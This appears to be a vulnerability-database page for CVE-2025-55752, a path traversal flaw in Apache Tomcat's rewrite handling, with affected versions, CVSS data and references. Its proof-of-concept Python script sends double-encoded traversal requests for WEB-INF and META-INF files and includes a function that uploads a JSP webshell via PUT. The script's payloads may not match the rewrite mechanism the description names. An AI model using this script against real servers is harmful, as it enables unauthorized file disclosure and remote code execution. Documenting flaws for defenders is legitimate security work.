CVE-2025-55752

Description

Relative Path Traversal vulnerability in Apache Tomcat. The fix for bug 60013 introduced a regression where the rewritten URL was normalized before it was decoded. This introduced the possibility that, for rewrite rules that rewrite query parameters to the URL, an attacker could manipulate the request URI to bypass security constraints including the protection for /WEB-INF/ and /META-INF/. If PUT requests were also enabled then malicious files could be uploaded leading to remote code execution. PUT requests are normally limited to trusted users and it is considered unlikely that PUT requests would be enabled in conjunction with a rewrite that manipulated the URI. This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.10, from 10.1.0-M1 through 10.1.44, from 9.0.0.M11 through 9.0.108. The following versions were EOL at the time the CVE was created but are known to be affected: 8.5.6 though 8.5.100. Other, older, EOL versions may also be affected. Users are recommended to upgrade to version 11.0.11 or later, 10.1.45 or later or 9.0.109 or later, which fix the issue.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:apache:tomcat:*:*:*:*:*:*:*:* - VULNERABLE

Apache Tomcat 8.5.6 - 8.5.100

Apache Tomcat 9.0.0.M11 - 9.0.108

Apache Tomcat 10.1.0-M1 - 10.1.44

Apache Tomcat 11.0.0-M1 - 11.0.10

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# CVE-2025-55752 Apache Tomcat Path Traversal PoC
# Target: Apache Tomcat with rewrite module enabled

def test_path_traversal(target_url):
    """
    Test for CVE-2025-55752: Path traversal via URL rewrite
    The vulnerability allows bypassing /WEB-INF/ and /META-INF/ protection
    """
    
    # Target endpoint with vulnerable rewrite rule
    base_url = target_url.rstrip('/')
    
    # Payload: Double URL encoded path traversal
    # %252f = encoded /, %252e = encoded .
    # This bypasses the normalization before decode issue
    payloads = [
        f"{base_url}/..%252f..%252fWEB-INF/web.xml",
        f"{base_url}/..%252f..%252fWEB-INF/classes/",
        f"{base_url}/..%252f..%252fMETA-INF/context.xml"
    ]
    
    for payload in payloads:
        try:
            response = requests.get(payload, timeout=10)
            print(f"[*] Testing: {payload}")
            print(f"[*] Status: {response.status_code}")
            
            # Check if sensitive file was exposed
            if response.status_code == 200:
                if 'web-app' in response.text or 'Context' in response.text:
                    print("[!] VULNERABLE - Sensitive file exposed!")
                    print(f"[*] Content length: {len(response.text)}")
                    return True
        except requests.RequestException as e:
            print(f"[-] Error: {e}")
    
    return False

def exploit_rce(target_url, webshell_content):
    """
    If PUT is enabled, attempt to upload malicious file
    Requires: vulnerable rewrite + PUT method enabled
    """
    
    # Path traversal to reach upload directory
    upload_path = f"{target_url}/..%252f..%252fupload/malicious.jsp"
    
    headers = {
        'Content-Type': 'text/plain',
        'Destination': 'malicious.jsp'
    }
    
    try:
        response = requests.put(
            upload_path,
            data=webshell_content,
            headers=headers,
            timeout=10
        )
        print(f"[*] PUT request status: {response.status_code}")
        return response.status_code in [200, 201, 204]
    except requests.RequestException as e:
        print(f"[-] PUT request failed: {e}")
        return False

if __name__ == "__main__":
    target = input("Enter target URL (e.g., http://target:8080): ")
    test_path_traversal(target)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-55752
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-55752
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-55752/
[4] VulDB https://vuldb.com/cve/CVE-2025-55752
[5] https://lists.apache.org/thread/n05kjcwyj1s45ovs8ll1qrrojhfb1tog
[6] http://www.openwall.com/lists/oss-security/2025/10/27/4
[7] https://www.vicarius.io/vsociety/posts/cve-2025-55752-detect-apache-tomcat-vulnerability
[8] https://www.vicarius.io/vsociety/posts/cve-2025-55752-mitigate-apache-tomcat-vulnerability
[9] https://cert-portal.siemens.com/productcert/html/ssa-032379.html

Raw JSON Data

JSON

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